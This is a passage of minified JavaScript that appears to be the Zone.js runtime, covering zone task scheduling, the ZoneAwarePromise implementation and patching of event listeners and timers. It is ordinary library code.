J=r.state!=Z;J&&r._transitionTo(Z,at),r.runCount++;const Tt=xt;xt=r,dt={parent:dt,zone:this};try{r.type==W&&r.data&&!r.data.isPeriodic&&(r.cancelFn=void 0);try{return this._zoneDelegate.invokeTask(this,r,l,H)}catch(P){if(this._zoneDelegate.handleError(this,P))throw P}}finally{r.state!==ct&&r.state!==j&&(r.type==bt||r.data&&r.data.isPeriodic?J&&r._transitionTo(at,Z):(r.runCount=0,this._updateTaskCount(r,-1),J&&r._transitionTo(ct,Z,ct))),dt=dt.parent,xt=Tt}}scheduleTask(r){if(r.zone&&r.zone!==this){let H=this;for(;H;){if(H===r.zone)throw Error(`can not reschedule task to ${this.name} which is descendants of the original zone ${r.zone.name}`);H=H.parent}}r._transitionTo(yt,ct);const l=[];r._zoneDelegates=l,r._zone=this;try{r=this._zoneDelegate.scheduleTask(this,r)}catch(H){throw r._transitionTo(j,yt,ct),this._zoneDelegate.handleError(this,H),H}return r._zoneDelegates===l&&this._updateTaskCount(r,1),r.state==yt&&r._transitionTo(at,yt),r}scheduleMicroTask(r,l,H,J){return this.scheduleTask(new F(nt,r,l,H,J,void 0))}scheduleMacroTask(r,l,H,J,Tt){return this.scheduleTask(new F(W,r,l,H,J,Tt))}scheduleEventTask(r,l,H,J,Tt){return this.scheduleTask(new F(bt,r,l,H,J,Tt))}cancelTask(r){if(r.zone!=this)throw new Error("A task can only be cancelled in the zone of creation! (Creation: "+(r.zone||gt).name+"; Execution: "+this.name+")");r._transitionTo(ut,at,Z);try{this._zoneDelegate.cancelTask(this,r)}catch(l){throw r._transitionTo(j,ut),this._zoneDelegate.handleError(this,l),l}return this._updateTaskCount(r,-1),r._transitionTo(ct,ut),r.runCount=0,r}_updateTaskCount(r,l){const H=r._zoneDelegates;-1==l&&(r._zoneDelegates=null);for(let J=0;J<H.length;J++)H[J]._updateTaskCount(r.type,l)}}return rt.__symbol__=b,rt})();const V={name:"",onHasTask:(rt,M,r,l)=>rt.hasTask(r,l),onScheduleTask:(rt,M,r,l)=>rt.scheduleTask(r,l),onInvokeTask:(rt,M,r,l,H,J)=>rt.invokeTask(r,l,H,J),onCancelTask:(rt,M,r,l)=>rt.cancelTask(r,l)};class U{constructor(M,r,l){this._taskCounts={microTask:0,macroTask:0,eventTask:0},this.zone=M,this._parentDelegate=r,this._forkZS=l&&(l&&l.onFork?l:r._forkZS),this._forkDlgt=l&&(l.onFork?r:r._forkDlgt),this._forkCurrZone=l&&(l.onFork?this.zone:r._forkCurrZone),this._interceptZS=l&&(l.onIntercept?l:r._interceptZS),this._interceptDlgt=l&&(l.onIntercept?r:r._interceptDlgt),this._interceptCurrZone=l&&(l.onIntercept?this.zone:r._interceptCurrZone),this._invokeZS=l&&(l.onInvoke?l:r._invokeZS),this._invokeDlgt=l&&(l.onInvoke?r:r._invokeDlgt),this._invokeCurrZone=l&&(l.onInvoke?this.zone:r._invokeCurrZone),this._handleErrorZS=l&&(l.onHandleError?l:r._handleErrorZS),this._handleErrorDlgt=l&&(l.onHandleError?r:r._handleErrorDlgt),this._handleErrorCurrZone=l&&(l.onHandleError?this.zone:r._handleErrorCurrZone),this._scheduleTaskZS=l&&(l.onScheduleTask?l:r._scheduleTaskZS),this._scheduleTaskDlgt=l&&(l.onScheduleTask?r:r._scheduleTaskDlgt),this._scheduleTaskCurrZone=l&&(l.onScheduleTask?this.zone:r._scheduleTaskCurrZone),this._invokeTaskZS=l&&(l.onInvokeTask?l:r._invokeTaskZS),this._invokeTaskDlgt=l&&(l.onInvokeTask?r:r._invokeTaskDlgt),this._invokeTaskCurrZone=l&&(l.onInvokeTask?this.zone:r._invokeTaskCurrZone),this._cancelTaskZS=l&&(l.onCancelTask?l:r._cancelTaskZS),this._cancelTaskDlgt=l&&(l.onCancelTask?r:r._cancelTaskDlgt),this._cancelTaskCurrZone=l&&(l.onCancelTask?this.zone:r._cancelTaskCurrZone),this._hasTaskZS=null,this._hasTaskDlgt=null,this._hasTaskDlgtOwner=null,this._hasTaskCurrZone=null;const H=l&&l.onHasTask;(H||r&&r._hasTaskZS)&&(this._hasTaskZS=H?l:V,this._hasTaskDlgt=r,this._hasTaskDlgtOwner=this,this._hasTaskCurrZone=M,l.onScheduleTask||(this._scheduleTaskZS=V,this._scheduleTaskDlgt=r,this._scheduleTaskCurrZone=this.zone),l.onInvokeTask||(this._invokeTaskZS=V,this._invokeTaskDlgt=r,this._invokeTaskCurrZone=this.zone),l.onCancelTask||(this._cancelTaskZS=V,this._cancelTaskDlgt=r,this._cancelTaskCurrZone=this.zone))}fork(M,r){return this._forkZS?this._forkZS.onFork(this._forkDlgt,this.zone,M,r):new k(M,r)}intercept(M,r,l){return this._interceptZS?this._interceptZS.onIntercept(this._interceptDlgt,this._interceptCurrZone,M,r,l):r}invoke(M,r,l,H,J){return this._invokeZS?this._invokeZS.onInvoke(this._invokeDlgt,this._invokeCurrZone,M,r,l,H,J):r.apply(l,H)}handleError(M,r){return!this._handleErrorZS||this._handleErrorZS.onHandleError(this._handleErrorDlgt,this._handleErrorCurrZone,M,r)}scheduleTask(M,r){let l=r;if(this._scheduleTaskZS)this._hasTaskZS&&l._zoneDelegates.push(this._hasTaskDlgtOwner),l=this._scheduleTaskZS.onScheduleTask(this._scheduleTaskDlgt,this._scheduleTaskCurrZone,M,r),l||(l=r);else if(r.scheduleFn)r.scheduleFn(r);else{if(r.type!=nt)throw new Error("Task is missing scheduleFn.");Y(r)}return l}invokeTask(M,r,l,H){return this._invokeTaskZS?this._invokeTaskZS.onInvokeTask(this._invokeTaskDlgt,this._invokeTaskCurrZone,M,r,l,H):r.callback.apply(l,H)}cancelTask(M,r){let l;if(this._cancelTaskZS)l=this._cancelTaskZS.onCancelTask(this._cancelTaskDlgt,this._cancelTaskCurrZone,M,r);else{if(!r.cancelFn)throw Error("Task is not cancelable");l=r.cancelFn(r)}return l}hasTask(M,r){try{this._hasTaskZS&&this._hasTaskZS.onHasTask(this._hasTaskDlgt,this._hasTaskCurrZone,M,r)}catch(l){this.handleError(M,l)}}_updateTaskCount(M,r){const l=this._taskCounts,H=l[M],J=l[M]=H+r;if(J<0)throw new Error("More tasks executed then were scheduled.");0!=H&&0!=J||this.hasTask(this.zone,{microTask:l.microTask>0,macroTask:l.macroTask>0,eventTask:l.eventTask>0,change:M})}}class F{constructor(M,r,l,H,J,Tt){if(this._zone=null,this.runCount=0,this._zoneDelegates=null,this._state="notScheduled",this.type=M,this.source=r,this.data=H,this.scheduleFn=J,this.cancelFn=Tt,!l)throw new Error("callback is not defined");this.callback=l;const P=this;this.invoke=M===bt&&H&&H.useG?F.invokeTask:function(){return F.invokeTask.call(n,P,this,arguments)}}static invokeTask(M,r,l){M||(M=this),Pt++;try{return M.runCount++,M.zone.runTask(M,r,l)}finally{1==Pt&&N(),Pt--}}get zone(){return this._zone}get state(){return this._state}cancelScheduleRequest(){this._transitionTo(ct,yt)}_transitionTo(M,r,l){if(this._state!==r&&this._state!==l)throw new Error(`${this.type} \'${this.source}\': can not transition to \'${M}\', expecting state \'${r}\'${l?" or \'"+l+"\'":""}, was \'${this._state}\'.`);this._state=M,M==ct&&(this._zoneDelegates=null)}toString(){return this.data&&typeof this.data.handleId<"u"?this.data.handleId.toString():Object.prototype.toString.call(this)}toJSON(){return{type:this.type,state:this.state,source:this.source,zone:this.zone.name,runCount:this.runCount}}}const ot=b("setTimeout"),tt=b("Promise"),et=b("then");let mt,ht=[],it=!1;function pt(rt){if(mt||n[tt]&&(mt=n[tt].resolve(0)),mt){let M=mt[et];M||(M=mt.then),M.call(mt,rt)}else n[ot](rt,0)}function Y(rt){0===Pt&&0===ht.length&&pt(N),rt&&ht.push(rt)}function N(){if(!it){for(it=!0;ht.length;){const rt=ht;ht=[];for(let M=0;M<rt.length;M++){const r=rt[M];try{r.zone.runTask(r,null,null)}catch(l){Et.onUnhandledError(l)}}}Et.microtaskDrainDone(),it=!1}}const gt={name:"NO ZONE"},ct="notScheduled",yt="scheduling",at="scheduled",Z="running",ut="canceling",j="unknown",nt="microTask",W="macroTask",bt="eventTask",Ct={},Et={symbol:b,currentZoneFrame:()=>dt,onUnhandledError:vt,microtaskDrainDone:vt,scheduleMicroTask:Y,showUncaughtError:()=>!k[b("ignoreConsoleErrorUncaughtError")],patchEventTarget:()=>[],patchOnProperties:vt,patchMethod:()=>vt,bindArguments:()=>[],patchThen:()=>vt,patchMacroTask:()=>vt,patchEventPrototype:()=>vt,isIEOrEdge:()=>!1,getGlobalObjects:()=>{},ObjectDefineProperty:()=>vt,ObjectGetOwnPropertyDescriptor:()=>{},ObjectCreate:()=>{},ArraySlice:()=>[],patchClass:()=>vt,wrapWithCurrentZone:()=>vt,filterProperties:()=>[],attachOriginToPatched:()=>vt,_redefineProperty:()=>vt,patchCallbacks:()=>vt,nativeScheduleMicroTask:pt};let dt={parent:null,zone:new k(null,null)},xt=null,Pt=0;function vt(){}f("Zone","Zone"),n.Zone=k}(typeof window<"u"&&window||typeof self<"u"&&self||global);const o=Object.getOwnPropertyDescriptor,h=Object.defineProperty,t=Object.getPrototypeOf,e=Object.create,s=Array.prototype.slice,a="addEventListener",i="removeEventListener",u=Zone.__symbol__(a),E=Zone.__symbol__(i),p="true",T="false",O=Zone.__symbol__("");function m(n,c){return Zone.current.wrap(n,c)}function R(n,c,v,f,y){return Zone.current.scheduleMacroTask(n,c,v,f,y)}const g=Zone.__symbol__,D=typeof window<"u",w=D?window:void 0,C=D&&w||"object"==typeof self&&self||global,X="removeAttribute";function B(n,c){for(let v=n.length-1;v>=0;v--)"function"==typeof n[v]&&(n[v]=m(n[v],c+"_"+v));return n}function I(n){return!n||!1!==n.writable&&!("function"==typeof n.get&&typeof n.set>"u")}const K=typeof WorkerGlobalScope<"u"&&self instanceof WorkerGlobalScope,st=!("nw"in C)&&typeof C.process<"u"&&"[object process]"==={}.toString.call(C.process),Ot=!st&&!K&&!(!D||!w.HTMLElement),Mt=typeof C.process<"u"&&"[object process]"==={}.toString.call(C.process)&&!K&&!(!D||!w.HTMLElement),Bt={},Kt=function(n){if(!(n=n||C.event))return;let c=Bt[n.type];c||(c=Bt[n.type]=g("ON_PROPERTY"+n.type));const v=this||n.target||C,f=v[c];let y;return Ot&&v===w&&"error"===n.type?(y=f&&f.call(this,n.message,n.filename,n.lineno,n.colno,n.error),!0===y&&n.preventDefault()):(y=f&&f.apply(this,arguments),null!=y&&!y&&n.preventDefault()),y};function Yt(n,c,v){let f=o(n,c);if(!f&&v&&o(v,c)&&(f={enumerable:!0,configurable:!0}),!f||!f.configurable)return;const y=g("on"+c+"patched");if(n.hasOwnProperty(y)&&n[y])return;delete f.writable,delete f.value;const b=f.get,A=f.set,k=c.slice(2);let V=Bt[k];V||(V=Bt[k]=g("ON_PROPERTY"+k)),f.set=function(U){let F=this;!F&&n===C&&(F=C),F&&("function"==typeof F[V]&&F.removeEventListener(k,Kt),A&&A.call(F,null),F[V]=U,"function"==typeof U&&F.addEventListener(k,Kt,!1))},f.get=function(){let U=this;if(!U&&n===C&&(U=C),!U)return null;const F=U[V];if(F)return F;if(b){let ot=b.call(this);if(ot)return f.set.call(this,ot),"function"==typeof U[X]&&U.removeAttribute(c),ot}return null},h(n,c,f),n[y]=!0}function Xt(n,c,v){if(c)for(let f=0;f<c.length;f++)Yt(n,"on"+c[f],v);else{const f=[];for(const y in n)"on"==y.slice(0,2)&&f.push(y);for(let y=0;y<f.length;y++)Yt(n,f[y],v)}}const Rt=g("originalInstance");function Ft(n){const c=C[n];if(!c)return;C[g(n)]=c,C[n]=function(){const y=B(arguments,n);switch(y.length){case 0:this[Rt]=new c;break;case 1:this[Rt]=new c(y[0]);break;case 2:this[Rt]=new c(y[0],y[1]);break;case 3:this[Rt]=new c(y[0],y[1],y[2]);break;case 4:this[Rt]=new c(y[0],y[1],y[2],y[3]);break;default:throw new Error("Arg list too long.")}},wt(C[n],c);const v=new c(function(){});let f;for(f in v)"XMLHttpRequest"===n&&"responseBlob"===f||function(y){"function"==typeof v[y]?C[n].prototype[y]=function(){return this[Rt][y].apply(this[Rt],arguments)}:h(C[n].prototype,y,{set:function(b){"function"==typeof b?(this[Rt][y]=m(b,n+"."+y),wt(this[Rt][y],b)):this[Rt][y]=b},get:function(){return this[Rt][y]}})}(f);for(f in c)"prototype"!==f&&c.hasOwnProperty(f)&&(C[n][f]=c[f])}function jt(n,c,v){let f=n;for(;f&&!f.hasOwnProperty(c);)f=t(f);!f&&n[c]&&(f=n);const y=g(c);let b=null;if(f&&(!(b=f[y])||!f.hasOwnProperty(y))&&(b=f[y]=f[c],I(f&&o(f,c)))){const k=v(b,y,c);f[c]=function(){return k(this,arguments)},wt(f[c],b)}return b}function ue(n,c,v){let f=null;function y(b){const A=b.data;return A.args[A.cbIdx]=function(){b.invoke.apply(this,arguments)},f.apply(A.target,A.args),b}f=jt(n,c,b=>function(A,k){const V=v(A,k);return V.cbIdx>=0&&"function"==typeof k[V.cbIdx]?R(V.name,k[V.cbIdx],V,y):b.apply(A,k)})}function wt(n,c){n[g("OriginalDelegate")]=c}let Jt=!1,$t=!1;function fe(){if(Jt)return $t;Jt=!0;try{const n=w.navigator.userAgent;(-1!==n.indexOf("MSIE ")||-1!==n.indexOf("Trident/")||-1!==n.indexOf("Edge/"))&&($t=!0)}catch{}return $t}Zone.__load_patch("ZoneAwarePromise",(n,c,v)=>{const f=Object.getOwnPropertyDescriptor,y=Object.defineProperty,A=v.symbol,k=[],V=!0===n[A("DISABLE_WRAPPING_UNCAUGHT_PROMISE_REJECTION")],U=A("Promise"),F=A("then"),ot="__creationTrace__";v.onUnhandledError=P=>{if(v.showUncaughtError()){const S=P&&P.rejection;S?console.error("Unhandled Promise rejection:",S instanceof Error?S.message:S,"; Zone:",P.zone.name,"; Task:",P.task&&P.task.source,"; Value:",S,S instanceof Error?S.stack:void 0):console.error(P)}},v.microtaskDrainDone=()=>{for(;k.length;){const P=k.shift();try{P.zone.runGuarded(()=>{throw P.throwOriginal?P.rejection:P})}catch(S){et(S)}}};const tt=A("unhandledPromiseRejectionHandler");function et(P){v.onUnhandledError(P);try{const S=c[tt];"function"==typeof S&&S.call(this,P)}catch{}}function ht(P){return P&&P.then}function it(P){return P}function mt(P){return r.reject(P)}const pt=A("state"),Y=A("value"),N=A("finally"),gt=A("parentPromiseValue"),ct=A("parentPromiseState"),yt="Promise.then",at=null,Z=!0,ut=!1,j=0;function nt(P,S){return d=>{try{Et(P,S,d)}catch(x){Et(P,!1,x)}}}const W=function(){let P=!1;return function(d){return function(){P||(P=!0,d.apply(null,arguments))}}},bt="Promise resolved with itself",Ct=A("currentTaskTrace");function Et(P,S,d){const x=W();if(P===d)throw new TypeError(bt);if(P[pt]===at){let G=null;try{("object"==typeof d||"function"==typeof d)&&(G=d&&d.then)}catch($){return x(()=>{Et(P,!1,$)})(),P}if(S!==ut&&d instanceof r&&d.hasOwnProperty(pt)&&d.hasOwnProperty(Y)&&d[pt]!==at)xt(d),Et(P,d[pt],d[Y]);else if(S!==ut&&"function"==typeof G)try{G.call(d,x(nt(P,S)),x(nt(P,!1)))}catch($){x(()=>{Et(P,!1,$)})()}else{P[pt]=S;const $=P[Y];if(P[Y]=d,P[N]===N&&S===Z&&(P[pt]=P[ct],P[Y]=P[gt]),S===ut&&d instanceof Error){const L=c.currentTask&&c.currentTask.data&&c.currentTask.data[ot];L&&y(d,Ct,{configurable:!0,enumerable:!1,writable:!0,value:L})}for(let L=0;L<$.length;)Pt(P,$[L++],$[L++],$[L++],$[L++]);if(0==$.length&&S==ut){P[pt]=j;let L=d;try{throw new Error("Uncaught (in promise): "+function b(P){return P&&P.toString===Object.prototype.toString?(P.constructor&&P.constructor.name||"")+": "+JSON.stringify(P):P?P.toString():Object.prototype.toString.call(P)}(d)+(d&&d.stack?"\\n"+d.stack:""))}catch(Q){L=Q}V&&(L.throwOriginal=!0),L.rejection=d,L.promise=P,L.zone=c.current,L.task=c.currentTask,k.push(L),v.scheduleMicroTask()}}}return P}const dt=A("rejectionHandledHandler");function xt(P){if(P[pt]===j){try{const S=c[dt];S&&"function"==typeof S&&S.call(this,{rejection:P[Y],promise:P})}catch{}P[pt]=ut;for(let S=0;S<k.length;S++)P===k[S].promise&&k.splice(S,1)}}function Pt(P,S,d,x,G){xt(P);const $=P[pt],L=$?"function"==typeof x?x:it:"function"==typeof G?G:mt;S.scheduleMicroTask(yt,()=>{try{const Q=P[Y],_=!!d&&N===d[N];_&&(d[gt]=Q,d[ct]=$);const q=S.run(L,void 0,_&&L!==mt&&L!==it?[]:[Q]);Et(d,!0,q)}catch(Q){Et(d,!1,Q)}},d)}const rt=function(){},M=n.AggregateError;class r{static toString(){return"function ZoneAwarePromise() { [native code] }"}static resolve(S){return Et(new this(null),Z,S)}static reject(S){return Et(new this(null),ut,S)}static any(S){if(!S||"function"!=typeof S[Symbol.iterator])return Promise.reject(new M([],"All promises were rejected"));const d=[];let x=0;try{for(let L of S)x++,d.push(r.resolve(L))}catch{return Promise.reject(new M([],"All promises were rejected"))}if(0===x)return Promise.reject(new M([],"All promises were rejected"));let G=!1;const $=[];return new r((L,Q)=>{for(let _=0;_<d.length;_++)d[_].then(q=>{G||(G=!0,L(q))},q=>{$.push(q),x--,0===x&&(G=!0,Q(new M($,"All promises were rejected")))})})}static race(S){let d,x,G=new this((Q,_)=>{d=Q,x=_});function $(Q){d(Q)}function L(Q){x(Q)}for(let Q of S)ht(Q)||(Q=this.resolve(Q)),Q.then($,L);return G}static all(S){return r.allWithCallback(S)}static allSettled(S){return(this&&this.prototype instanceof r?this:r).allWithCallback(S,{thenCallback:x=>({status:"fulfilled",value:x}),errorCallback:x=>({status:"rejected",reason:x})})}static allWithCallback(S,d){let x,G,$=new this((q,lt)=>{x=q,G=lt}),L=2,Q=0;const _=[];for(let q of S){ht(q)||(q=this.resolve(q));const lt=Q;try{q.then(ft=>{_[lt]=d?d.thenCallback(ft):ft,L--,0===L&&x(_)},ft=>{d?(_[lt]=d.errorCallback(ft),L--,0===L&&x(_)):G(ft)})}catch(ft){G(ft)}L++,Q++}return L-=2,0===L&&x(_),$}constructor(S){const d=this;if(!(d instanceof r))throw new Error("Must be an instanceof Promise.");d[pt]=at,d[Y]=[];try{const x=W();S&&S(x(nt(d,Z)),x(nt(d,ut)))}catch(x){Et(d,!1,x)}}get[Symbol.toStringTag](){return"Promise"}get[Symbol.species](){return r}then(S,d){var x;let G=null===(x=this.constructor)||void 0===x?void 0:x[Symbol.species];(!G||"function"!=typeof G)&&(G=this.constructor||r);const $=new G(rt),L=c.current;return this[pt]==at?this[Y].push(L,$,S,d):Pt(this,L,$,S,d),$}catch(S){return this.then(null,S)}finally(S){var d;let x=null===(d=this.constructor)||void 0===d?void 0:d[Symbol.species];(!x||"function"!=typeof x)&&(x=r);const G=new x(rt);G[N]=N;const $=c.current;return this[pt]==at?this[Y].push($,G,S,S):Pt(this,$,G,S,S),G}}r.resolve=r.resolve,r.reject=r.reject,r.race=r.race,r.all=r.all;const l=n[U]=n.Promise;n.Promise=r;const H=A("thenPatched");function J(P){const S=P.prototype,d=f(S,"then");if(d&&(!1===d.writable||!d.configurable))return;const x=S.then;S[F]=x,P.prototype.then=function(G,$){return new r((Q,_)=>{x.call(this,Q,_)}).then(G,$)},P[H]=!0}return v.patchThen=J,l&&(J(l),jt(n,"fetch",P=>function Tt(P){return function(S,d){let x=P.apply(S,d);if(x instanceof r)return x;let G=x.constructor;return G[H]||J(G),x}}(P))),Promise[c.__symbol__("uncaughtPromiseErrors")]=k,r}),Zone.__load_patch("toString",n=>{const c=Function.prototype.toString,v=g("OriginalDelegate"),f=g("Promise"),y=g("Error"),b=function(){if("function"==typeof this){const U=this[v];if(U)return"function"==typeof U?c.call(U):Object.prototype.toString.call(U);if(this===Promise){const F=n[f];if(F)return c.call(F)}if(this===Error){const F=n[y];if(F)return c.call(F)}}return c.call(this)};b[v]=c,Function.prototype.toString=b;const A=Object.prototype.toString;Object.prototype.toString=function(){return"function"==typeof Promise&&this instanceof Promise?"[object Promise]":A.call(this)}});let Lt=!1;if(typeof window<"u")try{const n=Object.defineProperty({},"passive",{get:function(){Lt=!0}});window.addEventListener("test",n,n),window.removeEventListener("test",n,n)}catch{Lt=!1}const he={useG:!0},St={},Qt={},_t=new RegExp("^"+O+"(\\\\w+)(true|false)$"),qt=g("propagationStopped");function te(n,c){const v=(c?c(n):n)+T,f=(c?c(n):n)+p,y=O+v,b=O+f;St[n]={},St[n][T]=y,St[n][p]=b}function de(n,c,v,f){const y=f&&f.add||a,b=f&&f.rm||i,A=f&&f.listeners||"eventListeners",k=f&&f.rmAll||"removeAllListeners",V=g(y),U="."+y+":",F="prependListener",ot="."+F+":",tt=function(Y,N,gt){if(Y.isRemoved)return;const ct=Y.callback;let yt;"object"==typeof ct&&ct.handleEvent&&(Y.callback=Z=>ct.handleEvent(Z),Y.originalDelegate=ct);try{Y.invoke(Y,N,[gt])}catch(Z){yt=Z}const at=Y.options;return at&&"object"==typeof at&&at.once&&N[b].call(N,gt.type,Y.originalDelegate?Y.originalDelegate:Y.callback,at),yt};function et(Y,N,gt){if(!(N=N||n.event))return;const ct=Y||N.target||n,yt=ct[St[N.type][gt?p:T]];if(yt){const at=[];if(1===yt.length){const Z=tt(yt[0],ct,N);Z&&at.push(Z)}else{const Z=yt.slice();for(let ut=0;ut<Z.length&&(!N||!0!==N[qt]);ut++){const j=tt(Z[ut],ct,N);j&&at.push(j)}}if(1===at.length)throw at[0];for(let Z=0;Z<at.length;Z++){const ut=at[Z];c.nativeScheduleMicroTask(()=>{throw ut})}}}const ht=function(Y){return et(this,Y,!1)},it=function(Y){return et(this,Y,!0)};function mt(Y,N){if(!Y)return!1;let gt=!0;N&&void 0!==N.useG&&(gt=N.useG);const ct=N&&N.vh;let yt=!0;N&&void 0!==N.chkDup&&(yt=N.chkDup);let at=!1;N&&void 0!==N.rt&&(at=N.rt);let Z=Y;for(;Z&&!Z.hasOwnProperty(y);)Z=t(Z);if(!Z&&Y[y]&&(Z=Y),!Z||Z[V])return!1;const ut=N&&N.eventNameToString,j={},nt=Z[V]=Z[y],W=Z[g(b)]=Z[b],bt=Z[g(A)]=Z[A],Ct=Z[g(k)]=Z[k];let Et;N&&N.prepend&&(Et=Z[g(N.prepend)]=Z[N.prepend]);const r=gt?function(d){if(!j.isExisting)return nt.call(j.target,j.eventName,j.capture?it:ht,j.options)}:function(d){return nt.call(j.target,j.eventName,d.invoke,j.options)},l=gt?function(d){if(!d.isRemoved){const x=St[d.eventName];let G;x&&(G=x[d.capture?p:T]);const $=G&&d.target[G];if($)for(let L=0;L<$.length;L++)if($[L]===d){$.splice(L,1),d.isRemoved=!0,0===$.length&&(d.allRemoved=!0,d.target[G]=null);break}}if(d.allRemoved)return W.call(d.target,d.eventName,d.capture?it:ht,d.options)}:function(d){return W.call(d.target,d.eventName,d.invoke,d.options)},J=N&&N.diff?N.diff:function(d,x){const G=typeof x;return"function"===G&&d.callback===x||"object"===G&&d.originalDelegate===x},Tt=Zone[g("UNPATCHED_EVENTS")],P=n[g("PASSIVE_EVENTS")],S=function(d,x,G,$,L=!1,Q=!1){return function(){const _=this||n;let q=arguments[0];N&&N.transferEventName&&(q=N.transferEventName(q));let lt=arguments[1];if(!lt)return d.apply(this,arguments);if(st&&"uncaughtException"===q)return d.apply(this,arguments);let ft=!1;if("function"!=typeof lt){if(!lt.handleEvent)return d.apply(this,arguments);ft=!0}if(ct&&!ct(d,lt,_,arguments))return;const Dt=Lt&&!!P&&-1!==P.indexOf(q),It=function dt(d,x){return!Lt&&"object"==typeof d&&d?!!d.capture:Lt&&x?"boolean"==typeof d?{capture:d,passive:!0}:d?"object"==typeof d&&!1!==d.passive?Object.assign(Object.assign({},d),{passive:!0}):d:{passive:!0}:d}(arguments[2],Dt);if(Tt)for(let Nt=0;Nt<Tt.length;Nt++)if(q===Tt[Nt])return Dt?d.call(_,q,lt,It):d.apply(this,arguments);const Wt=!!It&&("boolean"==typeof It||It.capture),oe=!(!It||"object"!=typeof It)&&It.once,me=Zone.current;let zt=St[q];zt||(te(q,ut),zt=St[q]);const se=zt[Wt?p:T];let Ut,Zt=_[se],ae=!1;if(Zt){if(ae=!0,yt)for(let Nt=0;Nt<Zt.length;Nt++)if(J(Zt[Nt],lt))return}else Zt=_[se]=[];const ie=_.constructor.name,ce=Qt[ie];ce&&(Ut=ce[q]),Ut||(Ut=ie+x+(ut?ut(q):q)),j.options=It,oe&&(j.options.once=!1),j.target=_,j.capture=Wt,j.eventName=q,j.isExisting=ae;const Gt=gt?he:void 0;Gt&&(Gt.taskData=j);const kt=me.scheduleEventTask(Ut,lt,Gt,G,$);return j.target=null,Gt&&(Gt.taskData=null),oe&&(It.once=!0),!Lt&&"boolean"==typeof kt.options||(kt.options=It),kt.target=_,kt.capture=Wt,kt.eventName=q,ft&&(kt.originalDelegate=lt),Q?Zt.unshift(kt):Zt.push(kt),L?_:void 0}};return Z[y]=S(nt,U,r,l,at),Et&&(Z[F]=S(Et,ot,function(d){return Et.call(j.target,j.eventName,d.invoke,j.options)},l,at,!0)),Z[b]=function(){const d=this||n;let x=arguments[0];N&&N.transferEventName&&(x=N.transferEventName(x));const G=arguments[2],$=!!G&&("boolean"==typeof G||G.capture),L=arguments[1];if(!L)return W.apply(this,arguments);if(ct&&!ct(W,L,d,arguments))return;const Q=St[x];let _;Q&&(_=Q[$?p:T]);const q=_&&d[_];if(q)for(let lt=0;lt<q.length;lt++){const ft=q[lt];if(J(ft,L))return q.splice(lt,1),ft.isRemoved=!0,0===q.length&&(ft.allRemoved=!0,d[_]=null,"string"==typeof x)&&(d[O+"ON_PROPERTY"+x]=null),ft.zone.cancelTask(ft),at?d:void 0}return W.apply(this,arguments)},Z[A]=function(){const d=this||n;let x=arguments[0];N&&N.transferEventName&&(x=N.transferEventName(x));const G=[],$=ee(d,ut?ut(x):x);for(let L=0;L<$.length;L++){const Q=$[L];G.push(Q.originalDelegate?Q.originalDelegate:Q.callback)}return G},Z[k]=function(){const d=this||n;let x=arguments[0];if(x){N&&N.transferEventName&&(x=N.transferEventName(x));const G=St[x];if(G){const Q=d[G[T]],_=d[G[p]];if(Q){const q=Q.slice();for(let lt=0;lt<q.length;lt++){const ft=q[lt];this[b].call(this,x,ft.originalDelegate?ft.originalDelegate:ft.callback,ft.options)}}if(_){const q=_.slice();for(let lt=0;lt<q.length;lt++){const ft=q[lt];this[b].call(this,x,ft.originalDelegate?ft.originalDelegate:ft.callback,ft.options)}}}}else{const G=Object.keys(d);for(let $=0;$<G.length;$++){const Q=_t.exec(G[$]);let _=Q&&Q[1];_&&"removeListener"!==_&&this[k].call(this,_)}this[k].call(this,"removeListener")}if(at)return this},wt(Z[y],nt),wt(Z[b],W),Ct&&wt(Z[k],Ct),bt&&wt(Z[A],bt),!0}let pt=[];for(let Y=0;Y<v.length;Y++)pt[Y]=mt(v[Y],f);return pt}function ee(n,c){if(!c){const b=[];for(let A in n){const k=_t.exec(A);let V=k&&k[1];if(V&&(!c||V===c)){const U=n[A];if(U)for(let F=0;F<U.length;F++)b.push(U[F])}}return b}let v=St[c];v||(te(c),v=St[c]);const f=n[v[T]],y=n[v[p]];return f?y?f.concat(y):f.slice():y?y.slice():[]}function ve(n,c){const v=n.Event;v&&v.prototype&&c.patchMethod(v.prototype,"stopImmediatePropagation",f=>function(y,b){y[qt]=!0,f&&f.apply(y,b)})}function pe(n,c,v,f,y){const b=Zone.__symbol__(f);if(c[b])return;const A=c[b]=c[f];c[f]=function(k,V,U){return V&&V.prototype&&y.forEach(function(F){const ot=`${v}.${f}::`+F,tt=V.prototype;try{if(tt.hasOwnProperty(F)){const et=n.ObjectGetOwnPropertyDescriptor(tt,F);et&&et.value?(et.value=n.wrapWithCurrentZone(et.value,ot),n._redefineProperty(V.prototype,F,et)):tt[F]&&(tt[F]=n.wrapWithCurrentZone(tt[F],ot))}else tt[F]&&(tt[F]=n.wrapWithCurrentZone(tt[F],ot))}catch{}}),A.call(c,k,V,U)},n.attachOriginToPatched(c[f],A)}function ne(n,c,v){if(!v||0===v.length)return c;const f=v.filter(b=>b.target===n);if(!f||0===f.length)return c;const y=f[0].ignoreProperties;return c.filter(b=>-1===y.indexOf(b))}function re(n,c,v,f){n&&Xt(n,ne(n,c,v),f)}function Vt(n){return Object.getOwnPropertyNames(n).filter(c=>c.startsWith("on")&&c.length>2).map(c=>c.substring(2))}Zone.__load_patch("util",(n,c,v)=>{const f=Vt(n);v.patchOnProperties=Xt,v.patchMethod=jt,v.bindArguments=B,v.patchMacroTask=ue;const y=c.__symbol__("BLACK_LISTED_EVENTS"),b=c.__symbol__("UNPATCHED_EVENTS");n[b]&&(n[y]=n[b]),n[y]&&(c[y]=c[b]=n[y]),v.patchEventPrototype=ve,v.patchEventTarget=de,v.isIEOrEdge=fe,v.ObjectDefineProperty=h,v.ObjectGetOwnPropertyDescriptor=o,v.ObjectCreate=e,v.ArraySlice=s,v.patchClass=Ft,v.wrapWithCurrentZone=m,v.filterProperties=ne,v.attachOriginToPatched=wt,v._redefineProperty=Object.defineProperty,v.patchCallbacks=pe,v.getGlobalObjects=()=>({globalSources:Qt,zoneSymbolEventNames:St,eventNames:f,isBrowser:Ot,isMix:Mt,isNode:st,TRUE_STR:p,FALSE_STR:T,ZONE_SYMBOL_PREFIX:O,ADD_EVENT_LISTENER_STR:a,REMOVE_EVENT_LISTENER_STR:i})});const Ht=g("zoneTask");function At(n,c,v,f){let y=null,b=null;v+=f;const A={};function k(U){const F=U.data;return F.args[0]=function(){return U.invoke.apply(this,arguments)},F.handleId=y.apply(n,F.args),U}function V(U){return 